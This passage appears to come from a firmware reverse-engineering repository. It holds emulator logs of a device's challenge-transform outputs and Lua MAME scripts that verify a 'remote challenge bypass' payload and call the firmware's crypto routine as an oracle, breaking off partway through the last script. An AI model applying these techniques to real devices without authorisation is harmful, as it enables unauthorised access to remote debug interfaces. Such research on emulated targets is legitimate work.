ORACLE 28F4C8E7936D7181A0A661E7B9EC0BEB 7FEE411EE6451EC3B4D552882C549A3E
ORACLE 27522D91503A637DB0A48A1C9936D595 83A4D4046364DA46AC757DCC0CF32635
ORACLE AA0FB16E114C5AFE80563A97F0F2056F 70D5FFCEC75445F5F43BF99E9C810F22
ORACLE 18069653AC2C860A56F8918A7509AADD D102633E9962A9EC6880E56CE896981F
ORACLE 98D2D8D1B926D7623A856EE8A0299101 9E17968E15D59EB1CD60B8A50C5AC68A
ORACLE 11CE373C8E45F98AF1B77065A6BA4BBD C9AB7C6A08094AA356785A793DC6ACE2
ORACLE 291532A743535EC5040AF5737FE826B6 CCAC4D89D191B2AC94D7408FA6CC637C
ORACLE 488309E5AEDD3415B9B81D46E29F324F 0B18041E0B1F9E1067F8D73DD7EA1359
ORACLE 95B1BA89672C693E17BDC6D0468A3DA9 1AC8B7CD2153F0D7560DD01C2F3350DC
ORACLE F6FB03E6C44CAEC2E5D490C4E212D7A8 F005BEA9600AFFDD9DFC0D0CB22BAE77
ORACLE 137C650FDD0870E6AB77D996AD644DF0 1721E413829999D72E299FDDC90ED988
ORACLE 53101ED688EADFAAAFE1C1785E6AB0E3 198D6F5D48E871893EB8021879EBD290
ORACLE DD502DD05D3FEAD4F80E275E6CD0CFA4 1EFDB76D5D6562164472FE16919F9908
ORACLE 9799514FB21040E54DB9A9FA0EFF3816 61668CA3EB55AFDE098765474F0214F9
ORACLE 290409659F294F21365CA7C03B243ADD 34C661B93EA3FC5807200523CD7AFC3C
ORACLE FA6E95E7FA15488BF93340E2AA2AE45A DFD211AC91F37A00D0FEDB2053130598
ORACLE 3170F2665A1E18E59D385253D2BA06B2 3186138A51A9DCAFD2DBE5BA917F8C2B
ORACLE B467E13618516FB3E9277DC7EA412FC7 C9833E21C3CCA1FB1F0B62D70EF6E299
ORACLE 2B6DE06A4877BC38657A1FB0E9E9AC3C 50C38CE713037E39D7910CFAFC93FA27
ORACLE FD5C2DD5C31C2E76576D5842869E8E74 3F17031DD00F7FF4BD46F9139F744547
ORACLE 51D1C90A208BB431C6FA076F380AA493 A1B5AEFE499705C7DAE88B4144A7C7D0
ORACLE 0D26725CB5CEFDEC79DDCAEB36987B7A 7B959B4A2FF45C6FA44B18B79526F8AE
ORACLE D976A8DE99B277E9F7910127777364CE 676CF65222A36203EA7E0D08D10CD3E1
ORACLE 1C9CA863A4C0532C8850CA59B2876EF1 1C592CF1DEEAC8B085D38AA929085528
ORACLE FC33727E6D447E77321605725E7E6706 536CC388800FFB82C20495F9F776FABC
ORACLE 6196C6814A48A84FBC9D5125B2C3DEF0 0E2827D97E4B02A88FC27A15B67B3EEF
ORACLE F2E02181529940F5AE610CE5A4822253 D77E71E2163A1CA4718FBCD7A4648FDA
ORACLE 16ECC44F5DC0756C4D9C56E7EDA44390 88E12D0CE0C3A16A6F75C593DC4B3D75
ORACLE F355AD8002093579A24A0E1B03D70FCC 13953DEC4B9BBB6E06E826E35B8A566C
ORACLE 71769B65977F319D7325D2361D8316E9 2615C2F94166C11702C42E5F7A6FA5E6
ORACLE 376B0D1233EDD61B48A901AA32D5A68A 97D1344A149F2F03C8C9E0DD81D3D6A0
ORACLE AC0D425AAEDE55F86610BCABF8B7CE13 5912C8C3E0F8048164AA9B6ACC8991FA
ORACLE F6F839D09E9C9BF5D656E02BE8D45EA5 39835C18989E656D3CCD3C6FFAC31C50
Average speed: 319.27% (13 seconds)
+91
View File
@@ -0,0 +1,91 @@
Warning: -video none doesn't make much sense without -seconds_to_run
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
vt1200: scanline#1 line=1 enabled=1
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
vt1200: scanline#2 line=0 enabled=1
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
vt1200: scanline#3 line=1 enabled=1
vt1200: scanline#4 line=2 enabled=1
ORACLE start frame=1000 p200=00000000 p400=00000000
ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001
ORACLE KP=00910910 FP=0090C8D0
ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400
ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208
ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505
ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04
ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D
ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A
ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
ORACLE 00000000000000000000000000000000 90DE09B47285581790DE09B472855817
ORACLE FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6A81040BF22944796A81040BF2294479
ORACLE 71471D94EC8993C744BCD8CFCB3CC5A6 51BB36A47ABF37381DFBB4E88A2E7E0F
ORACLE 6819A8E6CAA4E23B69BD418941DA1EDC 96E3FFE7D578C80316D03D45E6993285
ORACLE 4ED83613C682494C19E2740EA94A4F39 AC206B3295B638C37446B2D1C42B8104
ORACLE 4920C6AE776DB8BE592551547A3428E1 56354353B10EA5DC8A98A50255B3958C
ORACLE 414D180A3571DE14F241770BEA0537B5 989EFDFA11AA33978EEA9BBEBA20600C
ORACLE DD78A93A16592A906BB244A8F2E6CB5A 8996F85FBD87D4D750A112135CF14EAB
ORACLE 837EBA11F2B0CB3609B3D85E48C5F432 0655BA88004D24A665E001E441C31D24
ORACLE 5CF848225FC0AFC9D53E111E624A8060 E703106CFD05FC6656F34FF7D76CB603
ORACLE 4D4314C0B59687CB950F8F9E79E2FFC8 DF0A6E99502D24FA98F4EEB82A4045AD
ORACLE FD789CFD0AFBC080D0A0B14E83B7BE0B B110596B898A77BC027D16CBEDE12282
ORACLE D5741FAE367B8AEBCE2D956336B5CF8E EE2D417EBD755A0A852EA62EDB3C493E
ORACLE FAD19C64CF60D4CE95B01BD00B85FE73 3D7A77DEA62599F8C155F770AC5E8A88
ORACLE 54E9D2732DB74DADEBE5E1473794DC9D E528ADCF75B272FC23D20640A436BBF3
ORACLE 8AD941EF664964CB5A47473BB30DB7AF 4A86CAFE092B8493911CFF5075875316
ORACLE 027B26A952A2472B26106CE035D99F0C D4131B34AEE4BF72912281B9F6FED1B4
ORACLE E46A8235870DE78F583B2E2833A562D8 707BDCDA6A0FA41D5477C560DAFAFA0A
ORACLE 170112E65D95F17AB6842DC7E6DC8FF5 9A1D870CC5D7B23FEB59C1D8933FF1C8
ORACLE 425B57CFEA04D531C766C72F43A77606 7E5E1204D9D29E8D1E19F7AD2535AA3E
ORACLE CB538FC306E7C2B5D21B1C9403F3256E 6FDB62EA2174929825EE2240EF63626E
ORACLE DA84B9554787A7CADF9F0BE79B6A6B50 73EBF9713D40B9697B865953D8B83578
ORACLE 564994D804F033F2B3AC32DE4477D88F EE9696DEB3C42F68C2DF20D04A348BDF
ORACLE E6BE9F5E56ECD471D7BEF1E9F346BACF 7FAC94CF4EF2359271D4E346CA3C85C8
ORACLE F0BC1ABC1108BB4A9210673E61C12172 47AFE67DCAD7D549B6554BE1ABC3332B
ORACLE 9CDF0283CE8DD540E99C72CD0393DB9A 5C1C456B64ED113841EA4B88098B9377
ORACLE D1821808E487D2D5A51DB14B1128772D FF5D23AC047F111548F28D0CA649AEC3
ORACLE 35C1D95C69C1214C4C0F852B83AA44CB 5135421CDAA67783843C091DADD36DCF
ORACLE 3075865334C6F1AA25AD0B9F0E0452D8 20B9FA93A4A126F9D4948177AC12964A
ORACLE E93B1D81DDE031B038F1229A2BE27078 63CDAE2DC350A52AED062870599461AF
ORACLE 476C5D37BB1B8FE24A966AD00FAD2B8D 0C3BC8A120F4BD0DAA96B2ED5503DBA0
ORACLE F125C589E4437C82E41942B3B292D4BA 8E6D5EE61A3C87F2AFB31085D60BED18
ORACLE 4D3F944A2FE025954DB2C976CB7C7A62 4665CA8F16DA416331098B4AEA105D04
ORACLE 8357C90D34407ADB8A5FDD0DD214EAA8 7FB2EDE7F618009C24CF2A33D6B93DE2
ORACLE 79C72424496C2ADA64D91D2BFCC7B56F 38DEC7DC3C4FA396D79E9BB73FFB04D9
ORACLE D8AA22A48631A4D3609BE94141C02A5B 1AAE71F6BE60D7AB81EF7F373344DDAC
ORACLE 05DA045FC21817CAC7E1608559E857CE B5B3509AFD63555A2FE6D245195B2DF1
ORACLE 28F4C8E7936D7181A0A661E7B9EC0BEB 7FEE411EE6451EC3B4D552882C549A3E
ORACLE 27522D91503A637DB0A48A1C9936D595 83A4D4046364DA46AC757DCC0CF32635
ORACLE AA0FB16E114C5AFE80563A97F0F2056F 70D5FFCEC75445F5F43BF99E9C810F22
ORACLE 18069653AC2C860A56F8918A7509AADD D102633E9962A9EC6880E56CE896981F
ORACLE 98D2D8D1B926D7623A856EE8A0299101 9E17968E15D59EB1CD60B8A50C5AC68A
ORACLE 11CE373C8E45F98AF1B77065A6BA4BBD C9AB7C6A08094AA356785A793DC6ACE2
ORACLE 291532A743535EC5040AF5737FE826B6 CCAC4D89D191B2AC94D7408FA6CC637C
ORACLE 488309E5AEDD3415B9B81D46E29F324F 0B18041E0B1F9E1067F8D73DD7EA1359
ORACLE 95B1BA89672C693E17BDC6D0468A3DA9 1AC8B7CD2153F0D7560DD01C2F3350DC
ORACLE F6FB03E6C44CAEC2E5D490C4E212D7A8 F005BEA9600AFFDD9DFC0D0CB22BAE77
ORACLE 137C650FDD0870E6AB77D996AD644DF0 1721E413829999D72E299FDDC90ED988
ORACLE 53101ED688EADFAAAFE1C1785E6AB0E3 198D6F5D48E871893EB8021879EBD290
ORACLE DD502DD05D3FEAD4F80E275E6CD0CFA4 1EFDB76D5D6562164472FE16919F9908
ORACLE 9799514FB21040E54DB9A9FA0EFF3816 61668CA3EB55AFDE098765474F0214F9
ORACLE 290409659F294F21365CA7C03B243ADD 34C661B93EA3FC5807200523CD7AFC3C
ORACLE FA6E95E7FA15488BF93340E2AA2AE45A DFD211AC91F37A00D0FEDB2053130598
ORACLE 3170F2665A1E18E59D385253D2BA06B2 3186138A51A9DCAFD2DBE5BA917F8C2B
ORACLE B467E13618516FB3E9277DC7EA412FC7 C9833E21C3CCA1FB1F0B62D70EF6E299
ORACLE 2B6DE06A4877BC38657A1FB0E9E9AC3C 50C38CE713037E39D7910CFAFC93FA27
ORACLE FD5C2DD5C31C2E76576D5842869E8E74 3F17031DD00F7FF4BD46F9139F744547
ORACLE 51D1C90A208BB431C6FA076F380AA493 A1B5AEFE499705C7DAE88B4144A7C7D0
ORACLE 0D26725CB5CEFDEC79DDCAEB36987B7A 7B959B4A2FF45C6FA44B18B79526F8AE
ORACLE D976A8DE99B277E9F7910127777364CE 676CF65222A36203EA7E0D08D10CD3E1
ORACLE 1C9CA863A4C0532C8850CA59B2876EF1 1C592CF1DEEAC8B085D38AA929085528
ORACLE FC33727E6D447E77321605725E7E6706 536CC388800FFB82C20495F9F776FABC
ORACLE 6196C6814A48A84FBC9D5125B2C3DEF0 0E2827D97E4B02A88FC27A15B67B3EEF
ORACLE F2E02181529940F5AE610CE5A4822253 D77E71E2163A1CA4718FBCD7A4648FDA
ORACLE 16ECC44F5DC0756C4D9C56E7EDA44390 88E12D0CE0C3A16A6F75C593DC4B3D75
ORACLE F355AD8002093579A24A0E1B03D70FCC 13953DEC4B9BBB6E06E826E35B8A566C
ORACLE 71769B65977F319D7325D2361D8316E9 2615C2F94166C11702C42E5F7A6FA5E6
ORACLE 376B0D1233EDD61B48A901AA32D5A68A 97D1344A149F2F03C8C9E0DD81D3D6A0
ORACLE AC0D425AAEDE55F86610BCABF8B7CE13 5912C8C3E0F8048164AA9B6ACC8991FA
ORACLE F6F839D09E9C9BF5D656E02BE8D45EA5 39835C18989E656D3CCD3C6FFAC31C50
Average speed: 317.77% (13 seconds)
+27
View File
@@ -0,0 +1,27 @@
Warning: -video none doesn't make much sense without -seconds_to_run
vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
vt1200: scanline#1 line=1 enabled=1
vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
vt1200: scanline#2 line=0 enabled=1
vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
vt1200: scanline#3 line=1 enabled=1
vt1200: scanline#4 line=2 enabled=1
ORACLE start frame=1000 p200=00000000 p400=00000000
ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001
ORACLE KP=00910910 FP=0090C8D0
ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400
ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208
ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505
ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04
ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D
ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A
ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
ORACLE_INV 00000000000000000000000000000000 B79E1C9EAFAAD86BB79E1C9EAFAAD86B
ORACLE_INV FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6004AD61ED53D94A6004AD61ED53D94A
ORACLE_INV 71471D94EC8993C744BCD8CFCB3CC5A6 116AE5361EB35BB13D08CB6441C493A6
ORACLE_INV 6819A8E6CAA4E23B69BD418941DA1EDC 7353766B876F5653A65AC4BB28B28AF2
ORACLE_INV 4ED83613C682494C19E2740EA94A4F39 A74684C5A20700468DB53D136516F709
ORACLE_INV 4920C6AE776DB8BE592551547A3428E1 D9FBA4A9D16EA90F3E5C048947140663
Average speed: 315.69% (13 seconds)
+53
View File
@@ -0,0 +1,53 @@
-- live_check.lua -- verification with NO breakpoints and no memory writes.
--
-- This script only reads RAM/VRAM once per frame. There is no bpset anywhere,
-- so the exploit cannot be attributed to any debugger action: the only thing
-- the emulator does is report what the firmware and the payload left in memory.
local machine = manager.machine
local cpu = machine.devices[':maincpu']
local dbg = machine.debugger
local space = cpu.spaces['program']
if not dbg then machine:exit(); return end
dbg.visible_cpu = cpu
local MAGIC1 = 0x01810000
local MAGIC2 = 0x01810010
local COUNT = 0x01810020
local VRAM = 0x04019040
local f = 0
local done_at = nil
local last = nil
emu.register_frame_done(function()
f = f + 1
if f % 500 == 0 then
print(string.format("CHECK frame %d MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
f, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
end
if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then
done_at = f
local filled, holes = 0, 0
for r = 0, 63 do
for c = 0, 15 do
if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then
filled = filled + 1
else
holes = holes + 1
end
end
end
print(string.format("CHECK payload-ran: MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
print(string.format("CHECK payload-ran: VRAM block %d/1024 words FFFF, %d holes",
filled, holes))
end
if done_at and f >= done_at + 120 then
print(string.format("CHECK exiting at frame %d (payload seen at %d)", f, done_at))
machine:exit()
end
if f >= 12000 then
print("CHECK timeout: no payload markers")
machine:exit()
end
end, "vt1200-live-check")
dbg.execution_state = 'run'
+72
View File
@@ -0,0 +1,72 @@
-- live_verify.lua -- passive verification of the remote challenge bypass.
--
-- No breakpoint here writes a register or memory: it only prints. In
-- particular the memcmp at 3F5A0920 is *observed*, never forced.
local machine = manager.machine
local cpu = machine.devices[':maincpu']
local dbg = machine.debugger
local space = cpu.spaces['program']
if not dbg then machine:exit(); return end
dbg.visible_cpu = cpu
local D = "/home/arti/code/k-space/vt1200/dwt/evidence/live-run"
local MAGIC1 = 0x01810000
local MAGIC2 = 0x01810010
local COUNT = 0x01810020
local VRAM = 0x04019040
local f = 0
local armed = false
local saw_challenge = false
local saw_memcmp = false
local done_at = nil
local function report_magic(tag)
print(string.format("LIVE2 %s: MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
tag, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
local filled, holes = 0, 0
for r = 0, 63 do
for c = 0, 15 do
if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then
filled = filled + 1
else
holes = holes + 1
end
end
end
print(string.format("LIVE2 %s: VRAM block %d/1024 words FFFF, %d holes", tag, filled, holes))
end
emu.register_frame_done(function()
f = f + 1
if f == 1 and not armed then
armed = true
dbg:command('bpset 3F58AD60,,{ printf "LIVE2 accept_debug_conn entry pc=%08X\\n", pc ; g }')
dbg:command('bpset 3F59F320,,{ printf "LIVE2 dispatcher entry pc=%08X\\n", pc ; g }')
dbg:command('bpset 3F59FDC0,,{ printf "LIVE2 dwt_prf challenge entry pc=%08X\\n", pc ; g }')
dbg:command('bpset 3F5A0200,,{ printf "LIVE2 challenge sent a13=%08X wire=%08X.%08X.%08X.%08X host=%08X.%08X.%08X.%08X\\n", a13, d@(a13), d@(a13+0x20), d@(a13+0x40), d@(a13+0x60), d@(a13+0x100), d@(a13+0x120), d@(a13+0x140), d@(a13+0x160) ; g }')
dbg:command('bpset 3F5A0740,,{ printf "LIVE2 pre-transform reply=%08X.%08X.%08X.%08X\\n", d@(a13+0x80), d@(a13+0xa0), d@(a13+0xc0), d@(a13+0xe0) ; g }')
dbg:command('bpset 3F5A08E0,,{ printf "LIVE2 memcmp-args expecting=%08X.%08X.%08X.%08X got=%08X.%08X.%08X.%08X\\n", d@(a9), d@(a9+0x20), d@(a9+0x40), d@(a9+0x60), d@(a11), d@(a11+0x20), d@(a11+0x40), d@(a11+0x60) ; g }')
-- OBSERVE ONLY: print the comparison result; never assign to a8.
dbg:command('bpset 3F5A0920,,{ printf "LIVE2 challenge memcmp a8=%08X (0=equal)\\n", a8 ; g }')
dbg:command('bpset 3F5A1B50,,{ printf "LIVE2 rdebug_poke entry pc=%08X\\n", pc ; g }')
dbg:command('bpset 3F5A3890,,{ printf "LIVE2 rdebug_jump entry pc=%08X\\n", pc ; g }')
print("LIVE2 armed read-only breakpoints")
end
if f % 500 == 0 then
print(string.format("LIVE2 frame %5d word@0xAECD0=%04X field2..3=%d",
f, space:read_u16(0xaecd0), (space:read_u16(0xaecd0) >> 2) & 3))
end
if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then
done_at = f
report_magic("payload-ran")
end
if done_at and f >= done_at + 120 then
print(string.format("LIVE2 exiting at frame %d (payload seen at %d)", f, done_at))
machine:exit()
end
if f >= 9000 then
print("LIVE2 timeout: no payload markers")
machine:exit()
end
end, "vt1200-live-verify")
dbg.execution_state = 'run'
+197
View File
@@ -0,0 +1,197 @@
-- oracle_call.lua -- drive the firmware's own dwt_prf transform from the
-- debugger, with no TCP connection.
--
-- At frame 1000:
-- 0x3F5A9620(1) dwt_prf's allocator/init (Ghidra 0x07EB52C4)
-- 0x3F5AA2C0(0x1BE810) key schedule from the boot-time block
-- then, for each vector in VECTORS:
-- 0x3F5A09C0(BUF, 16) the transform dwt_prf applies to the reply
-- and prints the 16 output bytes.
--
-- Optionally (INVERSE=1) it calls 0x3F5AADA0 (the per-record companion that
-- looks like the inverse) on the vectors instead.
--
-- Output lines: ORACLE <inhex> <outhex>
local machine = manager.machine
local cpu = machine.devices[':maincpu']
local dbg = machine.debugger
local space = cpu.spaces['program']
if not dbg then machine:exit(); return end
dbg.visible_cpu = cpu
local ARG = 0x01800000
local STACK = 0x01840000
local RET = 0x018c0000
local BUF = 0x01810000
local IE = 0x200000
local INIT = 0x3F5A9620
local SCHED = 0x3F5AA2C0
local XFORM = 0x3F5A09C0
local XFORM1 = 0x3F5AADA0
local INVERSE = (os.getenv("ORACLE_INVERSE") or "") ~= ""
local COUNT = tonumber(os.getenv("ORACLE_COUNT") or "0")
local f = 0
local started = false
local phase = "init" -- init | sched | vectors | dump | done
local saved = {}
local idx = 0
local vectors = {}
local cur = nil
-- deterministic pseudo-random vectors plus the all-zero and ff cases
local function make_vectors()
vectors[1] = string.rep("\0", 16)
vectors[2] = string.rep("\255", 16)
local x = 0x12345678
for i = 3, COUNT do
local t = {}
for j = 1, 16 do
x = (x * 1103515245 + 12345) & 0x7fffffff
t[j] = string.char((x >> 16) & 0xff)
end
vectors[i] = table.concat(t)
end
end
local function state(name)
local r = cpu.state[name]
return r and r.value or nil
end
local function push(v)
local sp = state('SP') - 0x20
space:write_u32(sp, v)
cpu.state['SP'].value = sp
end
local function setup_call(target, args)
saved.pc = state('PC')
saved.sp = state('SP')
saved.a14 = state('A14')
saved.st = state('ST')
cpu.state['SP'].value = STACK
if #args > 0 then
local a = ARG
for i = 1, #args do
space:write_u32(a, args[i])
a = a + 0x20
end
push(saved.a14)
cpu.state['A14'].value = ARG + #args * 0x20
else
push(saved.a14)
cpu.state['A14'].value = ARG
end
push(RET)
cpu.state['PC'].value = target
cpu.state['ST'].value = saved.st & ~IE
dbg:command('bclear')
dbg:command(string.format('bpset %X', RET))
dbg.execution_state = 'run'
end
local function restore()
dbg:command('bclear')
cpu.state['PC'].value = saved.pc
cpu.state['SP'].value = saved.sp
cpu.state['A14'].value = saved.a14
cpu.state['ST'].value = saved.st
end
local function hexbytes(addr, n)
local t = {}
for i = 0, n - 1 do
t[#t + 1] = string.format("%02X", space:read_u8(addr + i * 8))
end
return table.concat(t)
end
local function writebytes(addr, s)
for i = 1, #s do
space:write_u8(addr + (i - 1) * 8, s:byte(i))
end
end
local function next_vector()
idx = idx + 1
if idx > #vectors then
phase = "done"
restore()
machine:exit()
return
end
cur = vectors[idx]
writebytes(BUF, cur)
if INVERSE then
-- per-record inverse companion; call it twice, one 8-byte record each
phase = "vec_inv_lo"
setup_call(XFORM1, { BUF })
else
phase = "vec_fwd"
setup_call(XFORM, { 16, BUF })
end
end
emu.register_frame_done(function()
f = f + 1
if f == 1000 and not started then
started = true
